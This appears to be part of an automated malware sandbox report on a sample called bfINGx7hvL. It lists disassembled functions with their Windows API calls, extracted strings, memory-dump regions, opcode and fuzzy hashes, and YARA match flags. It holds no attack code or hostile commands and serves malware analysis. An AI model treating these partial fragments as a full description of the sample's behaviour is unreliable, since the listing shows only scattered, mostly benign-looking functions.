src\pk\ecc\ltc_ecc_mulmod.c, xrefs: 0051B6AE, 0051B6C6, 0051B6DE, 0051B6F6

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: _fprintf_raise
String ID: 3`C$G != NULL$R != NULL$k != NULL$modulus != NULL$src\pk\ecc\ltc_ecc_mulmod.c
API String ID: 1988439158-2293699279
Opcode ID: 58f5a62fdca9314fa8c133a51548f138444fce020bf68ed350cb9e58266452f5
Instruction ID: 78124441466f39defdd5a8a769dfdebc8563226b7b26d451acda9988b9ebd78e
Opcode Fuzzy Hash: 58f5a62fdca9314fa8c133a51548f138444fce020bf68ed350cb9e58266452f5
Instruction Fuzzy Hash: 68026871D00228AFEF219B94ED84AEDBBB1FF58368F144025FC05A7260E7319D95DB90

Function 04261418 Relevance: 7.9, Strings: 6, Instructions: 444COMMON

Download Yara Rule

Strings

gfff, xrefs: 042621C6
gfff, xrefs: 04262178
0123456789abcdefxp, xrefs: 04261422
0123456789ABCDEFXP, xrefs: 04261418
gfff, xrefs: 04262111
-, xrefs: 042620BC

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID:
String ID: -$0123456789ABCDEFXP$0123456789abcdefxp$gfff$gfff$gfff
API String ID: 0-854689426
Opcode ID: e26e8b87a84c4eb27b4c5267471af98a071b554e92c296a7e088d654edec7f9a
Instruction ID: 2c8c26a952d0abd184329ce5cd07481675d1eb9c1f8ff44a4a0b1925f3d3a1ae
Opcode Fuzzy Hash: e26e8b87a84c4eb27b4c5267471af98a071b554e92c296a7e088d654edec7f9a
Instruction Fuzzy Hash: 7AF19271B187918FD314CE18C49076ABBE2AFC9314F088A6DE9D6CB391D374E985CB52

Function 0043D090 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 313windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,0000060B,00000000,00000000), ref: 0043D1BD
GetDriveTypeW.KERNEL32(?,<Auto>), ref: 0043D22C

Part of subcall function 004D8DA0: PostMessageW.USER32(?,0000060B,00000000,00000000), ref: 004D8DEB

Strings

<Auto>, xrefs: 0043D1F4
:\, xrefs: 0043D210

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: MessagePost$DriveType
String ID: :\$<Auto>
API String ID: 129741658-344299042
Opcode ID: b8ddd7b521215fcdb81aad0286e10ce68196148bf62929d77c5700f32a467ccd
Instruction ID: 670246f387c8d48888569e4ee580ab8f7c55ca62465a6d09409616b72b2d666d
Opcode Fuzzy Hash: b8ddd7b521215fcdb81aad0286e10ce68196148bf62929d77c5700f32a467ccd
Instruction Fuzzy Hash: FDC1D171B043028BD71CDF28D995B6AB7E1FB99314F044A2EE8568B390E735F901CB86

Function 0044B630 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 313windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,0000060B,00000000,00000000), ref: 0044B75D
GetDriveTypeW.KERNEL32(?,<Auto>), ref: 0044B7CC

Part of subcall function 004D8DA0: PostMessageW.USER32(?,0000060B,00000000,00000000), ref: 004D8DEB

Strings

<Auto>, xrefs: 0044B794
:\, xrefs: 0044B7B0

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: MessagePost$DriveType
String ID: :\$<Auto>
API String ID: 129741658-344299042
Opcode ID: e667c96cbd3dcbc894ac72835a70f270566adb8cc087ce17208f137fb7a18532
Instruction ID: abe8a8f07e6a4767f565cdd3afb6a6e4ae45aea80453094aa552e8fe809eb480
Opcode Fuzzy Hash: e667c96cbd3dcbc894ac72835a70f270566adb8cc087ce17208f137fb7a18532
Instruction Fuzzy Hash: 57C1D0717046068BE71CDF28C991B6AB7E5FB95318F044A2EE8569B390E739F800CB85

Function 00F72E1A Relevance: 5.4, Strings: 4, Instructions: 444COMMON

Download Yara Rule

Strings

gfff, xrefs: 00F73BC8
-, xrefs: 00F73ABE
gfff, xrefs: 00F73B7A
gfff, xrefs: 00F73B13

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: -$gfff$gfff$gfff
API String ID: 0-3742897846
Opcode ID: afa2c59b7174b298cbdebdc209c61c00909c0ffdb9e6b4652cf0d3c2488a223f
Instruction ID: 0f8657b21d8d24aafd4d5040a6481437c2d11909e6aa31e12b9d85f45ddebe1a
Opcode Fuzzy Hash: afa2c59b7174b298cbdebdc209c61c00909c0ffdb9e6b4652cf0d3c2488a223f
Instruction Fuzzy Hash: EFF18F75A087519FD718CE28C49175ABBE2ABC9310F08CA2EF5D98B381D734D945EB43

Function 00F72D5B Relevance: 5.3, Strings: 4, Instructions: 345COMMON

Download Yara Rule

Strings

gfff, xrefs: 00F73D0D
gfff, xrefs: 00F73D22
gfff, xrefs: 00F73D73
-, xrefs: 00F73CD8

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: -$gfff$gfff$gfff
API String ID: 0-3742897846
Opcode ID: 8d5eba57cc02c7181bcdba891e0a0af26107097a06c2f890a8e2723ddbbedac9
Instruction ID: 75131ff574e86d8261e8f83589f7bf753c2df7ff500022fe670ea6365d54b811
Opcode Fuzzy Hash: 8d5eba57cc02c7181bcdba891e0a0af26107097a06c2f890a8e2723ddbbedac9
Instruction Fuzzy Hash: 53D19071A093918FC718CE28C59065AFBE2ABD9314F08CA6EE8D987382D734DD45DB53

Function 00F72FB3 Relevance: 5.3, Strings: 4, Instructions: 343COMMON

Download Yara Rule

Strings

gfff, xrefs: 00F73BC8
gfff, xrefs: 00F73B7A
+, xrefs: 00F73AB7
gfff, xrefs: 00F73B13

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: +$gfff$gfff$gfff
API String ID: 0-2357821266
Opcode ID: 57560c12fcb4a5efa8ba590f06c0909563ef7215965b45d5facb10313411421f
Instruction ID: 42aa36d17411d8371bad4eaf7ae7379f2a6ed39dc0932bb8d8854d1f7c390643
Opcode Fuzzy Hash: 57560c12fcb4a5efa8ba590f06c0909563ef7215965b45d5facb10313411421f
Instruction Fuzzy Hash: 72C19271A087519FD718CE29C89075AB7E2ABC9310F18CA3EE9998B381D734DD05DB43

Function 00F73A08 Relevance: 5.3, Strings: 4, Instructions: 280COMMON

Download Yara Rule

Strings

gfff, xrefs: 00F73BC8
gfff, xrefs: 00F73B7A
+, xrefs: 00F73AB7
gfff, xrefs: 00F73B13

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: +$gfff$gfff$gfff
API String ID: 0-2357821266
Opcode ID: 29f89fd07181678e07d233ffca9ef692ea22027e14ad50a671a1cb7e9ada4a94
Instruction ID: c25a87751e60e56f9a004f1b8800c9421b9cea96fdf4f3bde2a2cb4001fcf96e
Opcode Fuzzy Hash: 29f89fd07181678e07d233ffca9ef692ea22027e14ad50a671a1cb7e9ada4a94
Instruction Fuzzy Hash: D0A17F71A097518FC718CE1CC99165ABBE2ABC9710F08CA2EF999CB342D734ED459783

Function 00F7F4B2 Relevance: 5.2, Strings: 4, Instructions: 200COMMON

Download Yara Rule

Strings

_kQT, xrefs: 00F7F5A9
1")&, xrefs: 00F7F579
@DvF, xrefs: 00F7F5C1
a[[d, xrefs: 00F7F5A1

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: 1")&$@DvF$_kQT$a[[d
API String ID: 0-276304770
Opcode ID: 120e7987c176392a5503b588ab93b9273890ba6732227fe43507c8885721f780
Instruction ID: b01bcb56eb303a6bbb524d0146621b6b8257a60dcd47b03c606abb105135aefb
Opcode Fuzzy Hash: 120e7987c176392a5503b588ab93b9273890ba6732227fe43507c8885721f780
Instruction Fuzzy Hash: EF5128B450C3819FD301DF298490A1ABFE2AB97754F18895DE4E54B252C33AC90DDB67

Function 00F82911 Relevance: 5.2, Strings: 4, Instructions: 191COMMON

Download Yara Rule

Strings

6{6u, xrefs: 00F82C1E
,c'}, xrefs: 00F82C10
{7@1, xrefs: 00F82BB5
@3R, xrefs: 00F82BBC

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: ,c'}$6{6u$@3R${7@1
API String ID: 0-581628498
Opcode ID: d0a7b642b8c017893b6f45fbb6b48bc174d9839a4a6b9c085318be5e2dd8e902
Instruction ID: d360bbf9d5981557e608744e04eb4a07f061e663cb568cfeb1fb14db19bdd516
Opcode Fuzzy Hash: d0a7b642b8c017893b6f45fbb6b48bc174d9839a4a6b9c085318be5e2dd8e902
Instruction Fuzzy Hash: 86B1CCB4411B848FD3709F66C585B9BBFB0BB12704F508E0DE1EA6BA50D375A046CF9A

Function 00F95D92 Relevance: 5.2, Strings: 4, Instructions: 164COMMON

Download Yara Rule

Strings

4J, xrefs: 00F95DF3
VG, xrefs: 00F95DE5
J+*), xrefs: 00F95F41
OO, xrefs: 00F95DEC

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: 4J$J+*)$OO$VG
API String ID: 0-160897490
Opcode ID: 0f994e25e501778185bac6c0785b33e44ab021523602a15f7da29192aebbcbaf
Instruction ID: e8667e074e61476d5605438ae3714fe6976b7f9dd96a096dd91d48e305858e65
Opcode Fuzzy Hash: 0f994e25e501778185bac6c0785b33e44ab021523602a15f7da29192aebbcbaf
Instruction Fuzzy Hash: 9E51BBB09013199FDF10DFA8C980AAEBBB5FF19350B144698E854AF345E338DA00CFA5

Function 004A83C0 Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004A83E7
_memset.LIBCMT ref: 004A8486
GetVersionExW.KERNEL32(00000114,?,00000110,005BDDE8,00000000,000003B8), ref: 004A8495

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: _memset$Version
String ID:
API String ID: 4269076227-0
Opcode ID: 8922782234a070395409a056d08c634cf9ebdebe735c7a74e74746dd8037a47f
Instruction ID: cffd5edc1071be8adafd083d010df601be350e95cc5998e68f80b562165eefa8
Opcode Fuzzy Hash: 8922782234a070395409a056d08c634cf9ebdebe735c7a74e74746dd8037a47f
Instruction Fuzzy Hash: 4B213EB05017098BE724DF20D95A7DAB7F8FB04308F00459ED65A5B280DBFA2788CF94

Function 00FA076F Relevance: 4.2, Strings: 3, Instructions: 482COMMON

Download Yara Rule

Strings

4K, xrefs: 00FA0B77
\^, xrefs: 00FA0B70
hG, xrefs: 00FA0B7E

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: 4K$\^$hG
API String ID: 0-2009946656
Opcode ID: a5e6a32877c141522707734bd5b541b15a4019426f9f919a8d2443720a02dc31
Instruction ID: 1ac1ff4c0002b0f1abc6a3e288417c15feb87f3555d7f56de2b99b88921cddbf
Opcode Fuzzy Hash: a5e6a32877c141522707734bd5b541b15a4019426f9f919a8d2443720a02dc31
Instruction Fuzzy Hash: 08127AB4D002599FDB11DFA8D981AAEBBB1BF06310F544158E850BB386D7389A15CFF2

Function 00F7A252 Relevance: 4.1, Strings: 3, Instructions: 394COMMON

Download Yara Rule

Strings

), xrefs: 00F7A2D8
IEND, xrefs: 00F7A6A8
), xrefs: 00F7A2CE

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: )$)$IEND
API String ID: 0-588110143
Opcode ID: b5860f4443e222c91b742957b4d88ed1901d6d30d023abc19c03a61c700b1236
Instruction ID: 114f78424953f066eb89e5fa5f81c0f83ed6a3bb3c9a232fc09fa3cd64797c13
Opcode Fuzzy Hash: b5860f4443e222c91b742957b4d88ed1901d6d30d023abc19c03a61c700b1236
Instruction Fuzzy Hash: 81E1C1B1A087019FD310CF28C88571EBBE1BB98314F19852EE5999B381D779E915DBC3

Function 00FA4215 Relevance: 4.0, Strings: 3, Instructions: 220COMMON

Download Yara Rule

Strings

`Pd#, xrefs: 00FA4428
Ew@u, xrefs: 00FA4518
a\bb, xrefs: 00FA441E

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: Ew@u$`Pd#$a\bb
API String ID: 0-4211661383
Opcode ID: 97fcf0781c540df7bc95630f70ca0a892c4714cff3f8bdd37a8f63693cde1c8f
Instruction ID: 634646f4a72d8962014068de1f92aec82629bf4f3370627e244760133ec458e0
Opcode Fuzzy Hash: 97fcf0781c540df7bc95630f70ca0a892c4714cff3f8bdd37a8f63693cde1c8f
Instruction Fuzzy Hash: 837168B0409B408AE7618F34C894BE3BBE4BF5B705F48189CD4EA8B282D779B445EF50

Function 00FA429B Relevance: 4.0, Strings: 3, Instructions: 219COMMON

Download Yara Rule

Strings

`Pd#, xrefs: 00FA4428
Ew@u, xrefs: 00FA4518
a\bb, xrefs: 00FA441E

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: Ew@u$`Pd#$a\bb
API String ID: 0-4211661383
Opcode ID: 5497cf00e1c7f4d201b250281cef61bf4b5f3f90cc9809edd8b99fb97761de37
Instruction ID: bb5a6229c301d244b32d308a6a11772b44f9e7a4e95bf946bf6078e98f7fa22f
Opcode Fuzzy Hash: 5497cf00e1c7f4d201b250281cef61bf4b5f3f90cc9809edd8b99fb97761de37
Instruction Fuzzy Hash: 81715AB0809B408AD7628F34C894BE3BBE4BF17705F48188CD4EA9B282D779B445EF55

Function 0429F4EE Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(CF3CCD21), ref: 0429F579

Strings

p=)u, xrefs: 0429F4F0, 0429F579

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID: InitVariant
String ID: p=)u
API String ID: 1927566239-48304923
Opcode ID: 5210e256d9294c291b62cb69dd115531419aa3ccfe7010a38b4184b305defaef
Instruction ID: 742e58a19f9a015f6849ef6104137357575da71086a2aa68fc3c8742580967a9
Opcode Fuzzy Hash: 5210e256d9294c291b62cb69dd115531419aa3ccfe7010a38b4184b305defaef
Instruction Fuzzy Hash: E83135B4614B00DFCB608F04D684616FBF1FF0AB41B409949D8AA8BB05D730F960CBA5

Function 00414200 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,005BE234,?,?,?,?,004B2331,?,?,005BE234,?,0040FFE5,005BE28C), ref: 00414217

Strings

1#K, xrefs: 00414233

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: LocalTime
String ID: 1#K
API String ID: 481472006-2236594636
Opcode ID: 4b978a7c4557ab56677d0698089e8ae6965c50f750a790ab8a43691735895946
Instruction ID: 7557a5d90c1e74fc617b9f9402ec226dbaf9c5c510acc9c2584aebe65ea47851
Opcode Fuzzy Hash: 4b978a7c4557ab56677d0698089e8ae6965c50f750a790ab8a43691735895946
Instruction Fuzzy Hash: ADF0A0B490021C8B8B14EF59D9440BEB7F8FF08701B00006EEC4293340EA78AA04D765

Function 0040D05C Relevance: 3.0, APIs: 2, Instructions: 20COMMON

Download Yara Rule

APIs

RpcBindingFree.RPCRT4(005C0BE4), ref: 0040D06E
LeaveCriticalSection.KERNEL32(005BE514), ref: 0040D089

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: BindingCriticalFreeLeaveSection
String ID:
API String ID: 638364315-0
Opcode ID: c87a35ca71cc180f8364abb0b1cd667d1664c64db99ffdf2cbf6e8ee3bb5ecf9
Instruction ID: bcf578403d51454ece27bc4aca4f94fa89a7d6a3adb0dc5b80eb713e033b389d
Opcode Fuzzy Hash: c87a35ca71cc180f8364abb0b1cd667d1664c64db99ffdf2cbf6e8ee3bb5ecf9
Instruction Fuzzy Hash: 6CE0C979904705CFC710CF94E94579EF7B0FB44325F50065ADD2553790D73568058B50

Function 0050709C Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,B681F143,00503714,B681EE1B,?,?,00000001), ref: 005070A1
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 005070AA

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 942ad28fa568cb6edea065fb9ade6c034fd5d37c055d582459ec8d58653e374f
Instruction ID: 8629bcc32695d4e51e11f2ecb7bbb570330ddc1db7dc1d7cfffe392459a669fe
Opcode Fuzzy Hash: 942ad28fa568cb6edea065fb9ade6c034fd5d37c055d582459ec8d58653e374f
Instruction Fuzzy Hash: 83B09232044B08EBCB002BA1EC19B4A3F28EB16753F408010FB0D440608B625854EBA1

Function 00F98582 Relevance: 2.9, Strings: 2, Instructions: 411COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00F989B2
KJML, xrefs: 00F98975, 00F9897D

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: 4`[b$KJML
API String ID: 0-506811594
Opcode ID: 49bef4541083840d6fe3b84e0a2912c3208a164d8470ce24d85308c0daed85d9
Instruction ID: 3a64cec175693924737abe4486ee10772743996deea9729d4aa48d9f3a60150b
Opcode Fuzzy Hash: 49bef4541083840d6fe3b84e0a2912c3208a164d8470ce24d85308c0daed85d9
Instruction Fuzzy Hash: 71C1B1719082009BEB11EF14C841A2BB7F5EF567A0F58881DF5C59B251EB39DC11EB63

Function 00FA45CB Relevance: 2.9, Strings: 2, Instructions: 408COMMON

Download Yara Rule

Strings

!&&[, xrefs: 00FA46F0
WXQc, xrefs: 00FA46FA

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: !&&[$WXQc
API String ID: 0-4052844589
Opcode ID: 78049f99662aa6b251ff56c3fc1b39a661398e5b484d6f58b1d8793c7c4f7970
Instruction ID: 1e683014997cc7a2b7fc657db2a1c6cff0f0125feee7e3de93af14a881f9db73
Opcode Fuzzy Hash: 78049f99662aa6b251ff56c3fc1b39a661398e5b484d6f58b1d8793c7c4f7970
Instruction Fuzzy Hash: F5E16970505B808AE7618F35C490BE3FBE1AF57315F48885DD0EE8B282DB79B449EB25

Function 00FA4B4C Relevance: 2.9, Strings: 2, Instructions: 377COMMON

Download Yara Rule

Strings

O|~u, xrefs: 00FA4E40
*xl, xrefs: 00FA50D3

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID:
String ID: *xl$O|~u
API String ID: 0-1848346505
Opcode ID: c88b0967d19ec9fb038b0c59de9c728b14258ecfa9683f78fe16d4b90403175b
Instruction ID: 3d3b95bf2cf576b9d16a9ce3a4e7be881f697dd6a9dc34532e019117222eb559
Opcode Fuzzy Hash: c88b0967d19ec9fb038b0c59de9c728b14258ecfa9683f78fe16d4b90403175b
Instruction Fuzzy Hash: 7CC18AB0504B808FD7668F398490BE3BBE1BF57704F48885DD4EE8B682DB79A449DB50

